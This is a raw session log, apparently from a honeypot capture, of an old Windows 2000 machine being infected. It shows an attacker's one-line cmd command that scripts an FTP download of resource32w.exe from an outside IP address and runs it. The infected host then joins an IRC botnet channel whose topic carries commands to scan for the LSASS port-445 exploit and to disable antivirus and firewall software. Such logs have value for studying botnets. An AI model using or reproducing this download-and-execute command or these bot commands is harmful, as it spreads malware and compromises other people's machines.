VICTIM: Microsoft Windows 2000 [Version 5.00.2195] VICTIM: (C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> ATTACKER: echo open 98.132.128.176 37997>o&echo USER a>>o&echo a>>o&echo binary>>o&echo get resource32w.exe>>o&echo quit>>o&ftp -n -s:o&del o&resource32w.exe ATTACKER: 220 WinFtpd 1.2 VICTIM: USER a ATTACKER: 331 Password required VICTIM: PASS a ATTACKER: 230 User logged in. VICTIM: TYPE I ATTACKER: 200 Type set to I. VICTIM: PORT 192,168,1,149,4 ATTACKER: 200 PORT command successful. ATTACKER: RETR resource32w.exe ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 226 Transfer complete. VICTIM: QUIT ATTACKER: 221 Goodbye. VICTIM: NICK [SOUL]187482USER papillo 0 0 :[SOUL]187482 ATTACKER: :irc.celestial.org NOTICE AUTH :*** Looking up your hostname...:irc.celestial.org NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead ATTACKER: :irc.celestial.org NOTICE [SOUL]187482 :*** If you are having problems connecting due to ping timeouts, please type /quote pong 82720681 or /raw pong 82720681 now.PING :82720681 ATTACKER: PONG :82720681 ATTACKER: :irc.celestial.org 001 [SOUL]187482 :Welcome to the celestial IRC Network [SOUL]187482!papillo@192.168.1.149:irc.celestial.org 002 [SOUL]187482 :Your host is irc.celestial.org, running version Unreal3.2.3:irc.celestial.org 003 [SOUL]187482 :This server was created Sun Mar 13 21:51:25 2005:irc.celestial.org 004 [SOUL]187482 irc.celestial.org Unreal3.2.3 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj:irc.celestial.org 005 [SOUL]187482 SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS WATCH=128 :are supported by this server:irc.celestial.org 005 [SOUL]187482 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVGCuzNSMTG NETWORK=celestial CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server:irc.celestial.org 251 [SOUL]187482 :There are 1 users and 355 invisible on 1 servers VICTIM: JOIN #hell troopers ATTACKER: :irc.celestial.org 252 [SOUL]187482 1 :operator(s) online:irc.celestial.org 254 [SOUL]187482 4 :channels formed:irc.celestial.org 255 [SOUL]187482 :I have 356 clients and 0 servers:irc.celestial.org 265 [SOUL]187482 :Current Local Users: 356 Max: 3658:irc.celestial.org 266 [SOUL]187482 :Current Global Users: 356 Max: 498:irc.celestial.org 375 [SOUL]187482 :- irc.celestial.org Message of the Day - :irc.celestial.org 372 [SOUL]187482 :- 6/5/2005 13:50:irc.celestial.org 372 [SOUL]187482 :- celestial.org:irc.celestial.org 376 [SOUL]187482 :End of /MOTD command.:[SOUL]187482 MODE [SOUL]187482 :+iwx VICTIM: USERHOST [SOUL]187482MODE [SOUL]187482 +ixJOIN #hell troopersUSERHOST [SOUL]187482MODE [SOUL]187482 +ixJOIN #hell troopersUSERHOST [SOUL]187482MODE [SOUL]187482 +ixJOIN #hell troopers ATTACKER: :[SOUL]187482!papillo@BF295A9C.1B253A2.1A0AE753.IP JOIN :#hell:irc.celestial.org 332 [SOUL]187482 #hell :.advscan lsass_445 100 5 0 -b -r -s -z -q|.advscan lsass_445 100 10 0 x.x.x.x -r -z -s|.avfwkiller start -s:irc.celestial.org 333 [SOUL]187482 #hell MiStA_SimpAtiA 1214910245:irc.celestial.org 353 [SOUL]187482 @ #hell :[SOUL]187482 ~MiStA_SimpAtiA :irc.celestial.org 366 [SOUL]187482 #hell :End of /NAMES list. ATTACKER: :irc.celestial.org 302 [SOUL]187482 :[SOUL]187482=+papillo@192.168.1.149 :irc.celestial.org 302 [SOUL]187482 :[SOUL]187482=+papillo@192.168.1.149 ATTACKER: :irc.celestial.org 302 [SOUL]187482 :[SOUL]187482=+papillo@192.168.1.149